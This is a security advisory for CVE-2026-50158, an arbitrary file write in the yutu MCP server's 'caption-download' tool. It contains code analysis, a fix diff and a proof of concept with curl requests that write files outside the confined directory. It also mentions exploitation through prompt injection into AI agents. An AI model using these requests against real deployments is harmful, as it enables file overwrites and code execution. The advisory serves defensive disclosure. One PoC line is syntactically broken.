CVE-2026-50158: yutu Arbitrary File Write Vulnerability

HIGH
Advisory Identifier: GHSA-2c7f-fxww-6w6c
CVSS 7.7
CWE-73
Published
Advisory Summary

CVE-2026-50158 is a HIGH (CVSS 7.7) arbitrary file write vulnerability (CWE-73: External Control of File Name or Path) affecting yutu libraries in the Go ecosystem. The issue involves arbitrary file write via mcp `caption-download` tool. Remediation is available by upgrading affected packages to version 0.10.9-dev1.

CVE-2026-50158 at a Glance

CVE Identifier CVE-2026-50158
GHSA Identifier GHSA-2c7f-fxww-6w6c
Severity HIGH
CVSS v3.1 Base Score 7.7
CWE Classification CWE-73: External Control of File Name or Path
Affected Product yutu
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 7.7

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-50158

To remediate this vulnerability, upgrade all affected yutu dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/eat-pray-ai/yutu fixed: 0.10.9-dev1
Upgrade github.com/eat-pray-ai/yutu to 0.10.9-dev1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/eat-pray-ai/yutu

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-50158, inspect your project dependencies for yutu:

inspect dependencies for github.com/eat-pray-ai/yutu

Analyze the terminal output to locate any version of yutu in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.10.9-dev1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-73: External Control of File Name or Path, where the product allows user input to control or influence paths or file names that are used in filesystem operations. In yutu, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Arbitrary File Write via MCP `caption-download` Tool ### Summary The `caption-download` MCP tool in yutu passes the caller-supplied `file` parameter directly to `os.Create()` at `pkg/caption/caption.go:272` without any path validation, canonicalization, or confinement to the `pkg.Root` boundary (`YUTU_ROOT`). A local attacker — or any process able to reach the HTTP MCP server — can write arbitrary content to any path writable by the yutu process, entirely outside the intended working directory. This is a **High** severity vulnerability (CVSS 7.7) with high integrity and availability impact. ### Details yutu uses `pkg.Root` (backed by Go 1.24's `os.OpenRoot`) to restrict all file I/O to the `YUTU_ROOT` directory. Every other caption file-write path honours this boundary: | Method | Sink | Confined? | |--------|------|-----------| | `Caption.Insert()` | `pkg.Root.Open(c.File)` (`caption.go:109`) | Yes | | `Caption.Update()` | `pkg.Root.Open(c.File)` (`caption.go:193`) | Yes | | `Caption.Download()` | `os.Create(c.File)` (`caption.go:272`) | **No** | `Caption.Download()` is the sole outlier. The attacker-controlled `file` field flows without restriction from the MCP tool input schema to a raw `os.Create()` call: 1. **Source** — `cmd/caption/download.go:32–41`: `downloadInSchema` declares `file` as a required `string` field in the MCP JSON input schema. 2. **Binding** — `cmd/caption/download.go:61–64`: `cobramcp.GenToolHandler` maps MCP input to `input.Download(writer)`. 3. **Sink** — `pkg/caption/caption.go:272`: `os.Create(c.File)` creates or truncates the file at the attacker-supplied path. 4. **Write** — `pkg/caption/caption.go:280`: `file.Write(body)` writes the downloaded caption bytes to that path. ```go // cmd/caption/download.go var downloadInSchema = &jsonschema.Schema{ Required: []string{"ids", "file"}, // line 34 // ... "file": {Type: "string", Description: fileUsage}, // line 40 } // cobramcp.GenToolHandler binds MCP → handler (line 61-64) cobramcp.GenToolHandler(downloadTool, func(input caption.Caption, writer io.Writer) error { return input.Download(writer) }) // pkg/caption/caption.go body, err := io.ReadAll(res.Body) // line 267 file, err := os.Create(c.File) // line 272 ← unconfined sink // ... _, err = file.Write(body) // line 280 ``` The `caption-download` tool is registered by default in `init()` at `cmd/caption/download.go:52`, and the HTTP MCP server starts with `--auth` defaulting to `false` (`cmd/mcp.go:42`), meaning no authentication is required for local HTTP callers. **Recommended fix:** ```diff --- a/pkg/caption/caption.go +++ b/pkg/caption/caption.go @@ - file, err := os.Create(c.File) + file, err := pkg.Root.OpenFile(c.File, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0600) if err != nil { return errors.Join(errDownloadCaption, err) } ``` ### PoC **Prerequisites:** - yutu `0.0.0-dev` / commit `351c99d` - Valid `YUTU_CREDENTIAL` and `YUTU_CACHE_TOKEN` available - yutu MCP server running in HTTP mode **Docker-based reproduction (no live credentials needed):** The self-contained PoC builds a binary that exercises `caption.Download()` directly inside a container, with `YUTU_ROOT=/tmp/yutu_safe_root` as the confinement boundary. ```bash # From the report workspace root: docker build --no-cache -t yutu-vuln001-poc \ -f vuln-001/Dockerfile \ reports/mcp_49_eat-pray-ai__yutu docker run --rm yutu-vuln001-poc ``` Expected output confirms: - `pkg.Root.Open("/tmp/poc-arbitrary-write.txt")` is correctly rejected with `path escapes from parent` (control). - `caption.Download()` with `file="/tmp/poc-arbitrary-write.txt"` succeeds and creates a 79-byte file **outside** `YUTU_ROOT` (exploit). **Live MCP server reproduction:** ```bash # Start the HTTP MCP server (no auth by default) yutu mcp --mode http --port 8216 # Initialise session curl -sD /tmp/yutu.headers \ -H 'Content-Type: application/json' \ -H 'Accept: application/json, text/event-stream' \ http://localhost:8216/mcp \ -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"poc","version":"1"}}}' \ >/tmp/yutu.init SID=$(awk 'tolower($1)=="mcp-session-id:"{print $2}' /tmp/yutu.headers | tr -d '\r') # Exploit: write caption to arbitrary path # Replace CAPTION_ID with a caption id accessible by the configured token curl -s \ -H 'Content-Type: application/json' \ -H 'Accept: application/json, text/event-stream' \ ${SID:+-H "Mcp-Session-Id: $SID"} \ http://localhost:8216/mcp \ -d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"caption-download","arguments":{"ids":["CAPTION_ID"],"file":"/tmp/yutu-cve-poc.srt","tfmt":"srt"}}}' # Verify file was written outside YUTU_ROOT test -s /tmp/yutu-cve-poc.srt && ls -l /tmp/yutu-cve-poc.srt ``` ### Impact This is an **Arbitrary File Write** vulnerability. Any principal that can invoke the `caption-download` MCP tool — including an unauthenticated local process when the HTTP MCP server is running with default settings (`--auth false`) — can write attacker-controlled bytes to any file path accessible to the yutu process. This bypasses the `YUTU_ROOT` confinement boundary that all other file-write operations in yutu respect. **Potential consequences include:** - Overwriting application binaries, configuration files, or shell startup scripts to achieve persistent code execution. - Corrupting log files or database files to cause denial of service. - Writing web-accessible files in deployments where yutu runs alongside a web server. - Exploitable via prompt injection into an AI agent that uses the yutu MCP server, since the `file` parameter is fully attacker-controlled with no guardrails. Impacted parties: operators running yutu as an MCP server (HTTP mode, default configuration), AI agent pipelines that expose `caption-download` to untrusted input, and any user whose machine hosts a yutu process that a local attacker can reach. ### Reproduction artifacts #### `Dockerfile` ```dockerfile # VULN-001 PoC Dockerfile # Build con: reports/mcp_49_eat-pray-ai__yutu/ # repo/ - the cloned yutu repository # vuln-001/ - this workspace (Dockerfile, poc_main.go) FROM golang:1.26 AS builder WORKDIR /build # Copy the yutu source tree (provides the vulnerable packages) COPY repo/ . # Inject PoC as a new command package (does not modify existing source) RUN mkdir -p cmd/poc_exploit COPY vuln-001/poc_main.go cmd/poc_exploit/main.go # Build the PoC binary (static, no CGO needed) RUN CGO_ENABLED=0 go build -o /poc ./cmd/poc_exploit/ # ── Runtime stage ────────────────────────────────────────────────────────── FROM debian:12-slim COPY --from=builder /poc /poc # YUTU_ROOT defines the pkg.Root confinement boundary. # The PoC writes to /tmp/poc-arbitrary-write.txt which is OUTSIDE this root, # demonstrating the os.Create bypass. ENV YUTU_ROOT=/tmp/yutu_safe_root RUN mkdir -p /tmp/yutu_safe_root CMD ["/poc"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ VULN-001 PoC Runner Exploit: Arbitrary File Write via MCP caption-download (CWE-73) Target : pkg/caption/caption.go:272 -- os.Create(c.File) without pkg.Root confinement Usage: python3 poc.py """ import os import subprocess import sys VULN_DIR = os.path.dirname(os.path.abspath(__file__)) CONTEXT_DIR = os.path.dirname(VULN_DIR) # mcp_49_eat-pray-ai__yutu/ DOCKERFILE = os.path.join(VULN_DIR, "Dockerfile") IMAGE_NAME = "yutu-vuln001-poc" def run(cmd, check=False, **kwargs): print("$ " + " ".join(str(a) for a in cmd)) result = subprocess.run(cmd, =True, **kwargs) return result def main(): print("=" * 70) print("VULN-001: Arbitrary File Write via MCP caption-download") print("CWE-73 | pkg/caption/caption.go:272 | os.Create(c.File)") print("=" * 70) # ── Build ──────────────────────────────────────────────────────────────── build_cmd = [ "docker", "build", "--no-cache", "-t", IMAGE_NAME, "-f", DOCKERFILE, CONTEXT_DIR, ] print("\n[Step 1] Building Docker image ...") result = run(build_cmd, capture_output=False) if result.returncode != 0: print("\n[FAIL] Docker build failed.", file=sys.stderr) sys.exit(1) # ── Run ────────────────────────────────────────────────────────────────── run_cmd = ["docker", "run", "--rm", IMAGE_NAME] print("\n[Step 2] Running PoC container ...") result = run(run_cmd, capture_output=True) stdout = result.stdout or "" stderr = result.stderr or "" print(stdout, end="") if stderr: print(stderr, end="", file=sys.stderr) # ── Verdict ────────────────────────────────────────────────────────────── passed = ( result.returncode == 0 and "VULNERABILITY CONFIRMED" in stdout and "PASS" in stdout and "os.Create bypasses pkg.Root" in stdout ) if passed: print("\n[RESULT] PASS – vulnerability dynamically reproduced.") else: print(f"\n[RESULT] FAIL – container exit code {result.returncode}.", file=sys.stderr) sys.exit(1) if __name__ == "__main__": main() ```

CVE-2026-50158 Affected yutu Versions

1 component(s)
Fixed Versions:
0.10.9-dev1
Product / Package Ecosystem Affected Versions Fixed Version
github.com/eat-pray-ai/yutu
Go
< 0.10.9-dev1
0.10.9-dev1

References

Frequently Asked Questions

What is CVE-2026-50158?
CVE-2026-50158 is a security vulnerability in yutu involving Arbitrary File Write via MCP `caption-download` Tool under CWE-73: External Control of File Name or Path.
Which yutu versions are affected?
Affected versions include releases prior to 0.10.9-dev1 across affected packages: github.com/eat-pray-ai/yutu.
What version fixes CVE-2026-50158?
Upgrading to 0.10.9-dev1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/eat-pray-ai/yutu affected?
Yes, github.com/eat-pray-ai/yutu is affected in releases prior to 0.10.9-dev1. Upgrade your dependency to 0.10.9-dev1 or later.
What is the CVSS score of CVE-2026-50158?
CVE-2026-50158 has a CVSS v3.1 base score of 7.7 (HIGH) with vector string CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H.
What CWE is associated with CVE-2026-50158?
CVE-2026-50158 is classified under CWE-73: External Control of File Name or Path (The product allows user input to control or influence paths or file names that are used in filesystem operations.).
How can I check Go dependencies for CVE-2026-50158?
Run the dependency tree command: 'inspect dependencies for github.com/eat-pray-ai/yutu'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-2c7f-fxww-6w6c",
  "modified" : "2026-07-14T19:34:47Z",
  "published" : "2026-07-14T19:34:47Z",
  "aliases" : [ "CVE-2026-50158" ],
  "summary" : "yutu: Arbitrary File Write via MCP `caption-download` Tool",
  "details" : "## Arbitrary File Write via MCP `caption-download` Tool\n\n### Summary\n\nThe `caption-download` MCP tool in yutu passes the caller-supplied `file` parameter directly to `os.Create()` at `pkg/caption/caption.go:272` without any path validation, canonicalization, or confinement to the `pkg.Root` boundary (`YUTU_ROOT`). A local attacker — or any process able to reach the HTTP MCP server — can write arbitrary content to any path writable by the yutu process, entirely outside the intended working directory. This is a **High** severity vulnerability (CVSS 7.7) with high integrity and availability impact.\n\n### Details\n\nyutu uses `pkg.Root` (backed by Go 1.24's `os.OpenRoot`) to restrict all file I/O to the `YUTU_ROOT` directory. Every other caption file-write path honours this boundary:\n\n| Method | Sink | Confined? |\n|--------|------|-----------|\n| `Caption.Insert()` | `pkg.Root.Open(c.File)` (`caption.go:109`) | Yes |\n| `Caption.Update()` | `pkg.Root.Open(c.File)` (`caption.go:193`) | Yes |\n| `Caption.Download()` | `os.Create(c.File)` (`caption.go:272`) | **No** |\n\n`Caption.Download()` is the sole outlier. The attacker-controlled `file` field flows without restriction from the MCP tool input schema to a raw `os.Create()` call:\n\n1. **Source** — `cmd/caption/download.go:32–41`: `downloadInSchema` declares `file` as a required `string` field in the MCP JSON input schema.\n2. **Binding** — `cmd/caption/download.go:61–64`: `cobramcp.GenToolHandler` maps MCP input to `input.Download(writer)`.\n3. **Sink** — `pkg/caption/caption.go:272`: `os.Create(c.File)` creates or truncates the file at the attacker-supplied path.\n4. **Write** — `pkg/caption/caption.go:280`: `file.Write(body)` writes the downloaded caption bytes to that path.\n\n```go\n// cmd/caption/download.go\nvar downloadInSchema = &jsonschema.Schema{\n    Required: []string{\"ids\", \"file\"},          // line 34\n    // ...\n    \"file\": {Type: \"string\", Description: fileUsage},  // line 40\n}\n\n// cobramcp.GenToolHandler binds MCP → handler (line 61-64)\ncobramcp.GenToolHandler(downloadTool, func(input caption.Caption, writer io.Writer) error {\n    return input.Download(writer)\n})\n\n// pkg/caption/caption.go\nbody, err := io.ReadAll(res.Body)   // line 267\nfile, err := os.Create(c.File)      // line 272  ← unconfined sink\n// ...\n_, err = file.Write(body)           // line 280\n```\n\nThe `caption-download` tool is registered by default in `init()` at `cmd/caption/download.go:52`, and the HTTP MCP server starts with `--auth` defaulting to `false` (`cmd/mcp.go:42`), meaning no authentication is required for local HTTP callers.\n\n**Recommended fix:**\n\n```diff\n--- a/pkg/caption/caption.go\n+++ b/pkg/caption/caption.go\n@@\n-       file, err := os.Create(c.File)\n+       file, err := pkg.Root.OpenFile(c.File, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0600)\n        if err != nil {\n                return errors.Join(errDownloadCaption, err)\n        }\n```\n\n### PoC\n\n**Prerequisites:**\n- yutu `0.0.0-dev` / commit `351c99d`\n- Valid `YUTU_CREDENTIAL` and `YUTU_CACHE_TOKEN` available\n- yutu MCP server running in HTTP mode\n\n**Docker-based reproduction (no live credentials needed):**\n\nThe self-contained PoC builds a binary that exercises `caption.Download()` directly inside a container, with `YUTU_ROOT=/tmp/yutu_safe_root` as the confinement boundary.\n\n```bash\n# From the report workspace root:\ndocker build --no-cache -t yutu-vuln001-poc \\\n    -f vuln-001/Dockerfile \\\n    reports/mcp_49_eat-pray-ai__yutu\n\ndocker run --rm yutu-vuln001-poc\n```\n\nExpected output confirms:\n- `pkg.Root.Open(\"/tmp/poc-arbitrary-write.txt\")` is correctly rejected with `path escapes from parent` (control).\n- `caption.Download()` with `file=\"/tmp/poc-arbitrary-write.txt\"` succeeds and creates a 79-byte file **outside** `YUTU_ROOT` (exploit).\n\n**Live MCP server reproduction:**\n\n```bash\n# Start the HTTP MCP server (no auth by default)\nyutu mcp --mode http --port 8216\n\n# Initialise session\ncurl -sD /tmp/yutu.headers \\\n  -H 'Content-Type: application/json' \\\n  -H 'Accept: application/json, text/event-stream' \\\n  http://localhost:8216/mcp \\\n  -d '{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{\"protocolVersion\":\"2025-06-18\",\"capabilities\":{},\"clientInfo\":{\"name\":\"poc\",\"version\":\"1\"}}}' \\\n  >/tmp/yutu.init\n\nSID=$(awk 'tolower($1)==\"mcp-session-id:\"{print $2}' /tmp/yutu.headers | tr -d '\\r')\n\n# Exploit: write caption to arbitrary path\n# Replace CAPTION_ID with a caption id accessible by the configured token\ncurl -s \\\n  -H 'Content-Type: application/json' \\\n  -H 'Accept: application/json, text/event-stream' \\\n  ${SID:+-H \"Mcp-Session-Id: $SID\"} \\\n  http://localhost:8216/mcp \\\n  -d '{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"caption-download\",\"arguments\":{\"ids\":[\"CAPTION_ID\"],\"file\":\"/tmp/yutu-cve-poc.srt\",\"tfmt\":\"srt\"}}}'\n\n# Verify file was written outside YUTU_ROOT\ntest -s /tmp/yutu-cve-poc.srt && ls -l /tmp/yutu-cve-poc.srt\n```\n\n### Impact\n\nThis is an **Arbitrary File Write** vulnerability. Any principal that can invoke the `caption-download` MCP tool — including an unauthenticated local process when the HTTP MCP server is running with default settings (`--auth false`) — can write attacker-controlled bytes to any file path accessible to the yutu process. This bypasses the `YUTU_ROOT` confinement boundary that all other file-write operations in yutu respect.\n\n**Potential consequences include:**\n- Overwriting application binaries, configuration files, or shell startup scripts to achieve persistent code execution.\n- Corrupting log files or database files to cause denial of service.\n- Writing web-accessible files in deployments where yutu runs alongside a web server.\n- Exploitable via prompt injection into an AI agent that uses the yutu MCP server, since the `file` parameter is fully attacker-controlled with no guardrails.\n\nImpacted parties: operators running yutu as an MCP server (HTTP mode, default configuration), AI agent pipelines that expose `caption-download` to untrusted input, and any user whose machine hosts a yutu process that a local attacker can reach.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001 PoC Dockerfile\n# Build con: reports/mcp_49_eat-pray-ai__yutu/\n# repo/ - the cloned yutu repository\n# vuln-001/ - this workspace (Dockerfile, poc_main.go)\n\nFROM golang:1.26 AS builder\nWORKDIR /build\n\n# Copy the yutu source tree (provides the vulnerable packages)\nCOPY repo/ .\n\n# Inject PoC as a new command package (does not modify existing source)\nRUN mkdir -p cmd/poc_exploit\nCOPY vuln-001/poc_main.go cmd/poc_exploit/main.go\n\n# Build the PoC binary (static, no CGO needed)\nRUN CGO_ENABLED=0 go build -o /poc ./cmd/poc_exploit/\n\n# ── Runtime stage ──────────────────────────────────────────────────────────\nFROM debian:12-slim\n\nCOPY --from=builder /poc /poc\n\n# YUTU_ROOT defines the pkg.Root confinement boundary.\n# The PoC writes to /tmp/poc-arbitrary-write.txt which is OUTSIDE this root,\n# demonstrating the os.Create bypass.\nENV YUTU_ROOT=/tmp/yutu_safe_root\n\nRUN mkdir -p /tmp/yutu_safe_root\n\nCMD [\"/poc\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 PoC Runner\nExploit: Arbitrary File Write via MCP caption-download (CWE-73)\nTarget : pkg/caption/caption.go:272 -- os.Create(c.File) without pkg.Root confinement\n\nUsage: python3 poc.py\n\"\"\"\nimport os\nimport subprocess\nimport sys\n\nVULN_DIR = os.path.dirname(os.path.abspath(__file__))\nCONTEXT_DIR = os.path.dirname(VULN_DIR) # mcp_49_eat-pray-ai__yutu/\nDOCKERFILE = os.path.join(VULN_DIR, \"Dockerfile\")\nIMAGE_NAME = \"yutu-vuln001-poc\"\n\n\ndef run(cmd, check=False, **kwargs):\n print(\"$ \" + \" \".join(str(a) for a in cmd))\n result = subprocess.run(cmd, =True, **kwargs)\n return result\n\n\ndef main():\n print(\"=\" * 70)\n print(\"VULN-001: Arbitrary File Write via MCP caption-download\")\n print(\"CWE-73 | pkg/caption/caption.go:272 | os.Create(c.File)\")\n print(\"=\" * 70)\n\n # ── Build ────────────────────────────────────────────────────────────────\n build_cmd = [\n \"docker\", \"build\",\n \"--no-cache\",\n \"-t\", IMAGE_NAME,\n \"-f\", DOCKERFILE,\n CONTEXT_DIR,\n ]\n print(\"\\n[Step 1] Building Docker image ...\")\n result = run(build_cmd, capture_output=False)\n if result.returncode != 0:\n print(\"\\n[FAIL] Docker build failed.\", file=sys.stderr)\n sys.exit(1)\n\n # ── Run ──────────────────────────────────────────────────────────────────\n run_cmd = [\"docker\", \"run\", \"--rm\", IMAGE_NAME]\n print(\"\\n[Step 2] Running PoC container ...\")\n result = run(run_cmd, capture_output=True)\n\n stdout = result.stdout or \"\"\n stderr = result.stderr or \"\"\n print(stdout, end=\"\")\n if stderr:\n print(stderr, end=\"\", file=sys.stderr)\n\n # ── Verdict ──────────────────────────────────────────────────────────────\n passed = (\n result.returncode == 0\n and \"VULNERABILITY CONFIRMED\" in stdout\n and \"PASS\" in stdout\n and \"os.Create bypasses pkg.Root\" in stdout\n )\n\n if passed:\n print(\"\\n[RESULT] PASS – vulnerability dynamically reproduced.\")\n else:\n print(f\"\\n[RESULT] FAIL – container exit code {result.returncode}.\", file=sys.stderr)\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/eat-pray-ai/yutu"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.10.9-dev1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/eat-pray-ai/yutu/security/advisories/GHSA-2c7f-fxww-6w6c"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/eat-pray-ai/yutu/commit/87026c4eee1ed28775383807087343a750707bf3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/eat-pray-ai/yutu"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/eat-pray-ai/yutu/releases/tag/v0.10.9-dev1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-73" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-14T19:34:47Z",
    "nvd_published_at" : null
  }
}